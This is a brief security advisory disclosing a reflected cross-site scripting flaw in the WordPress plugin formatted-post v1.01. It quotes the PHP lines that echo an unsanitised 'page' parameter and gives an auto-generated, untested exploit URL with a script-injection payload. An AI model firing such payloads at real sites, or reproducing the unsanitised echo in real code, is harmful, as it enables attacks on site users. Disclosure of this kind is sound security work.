Advisory #: 116
Title: Reflected XSS in wordpress plugin formatted-post v1.01
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/formatted-post
Downloads: 825
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: formatted-post
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./formatted-post/formatted_post.php: 79:<a href="?page=<?php echo $_GET['page']?>"><?php _e("New template",FP);?></a><br/> 97:<input name="page" value="<?php echo $_GET['page'];?>" type="hidden"/><br/> 140:<!--<input name="page" value="<?php echo $_GET['page']?>" type='hidden'/>--> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./formatted-post/formatted_post.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/formatted-post/formatted_post.php?page="><script>alert(1);</script><"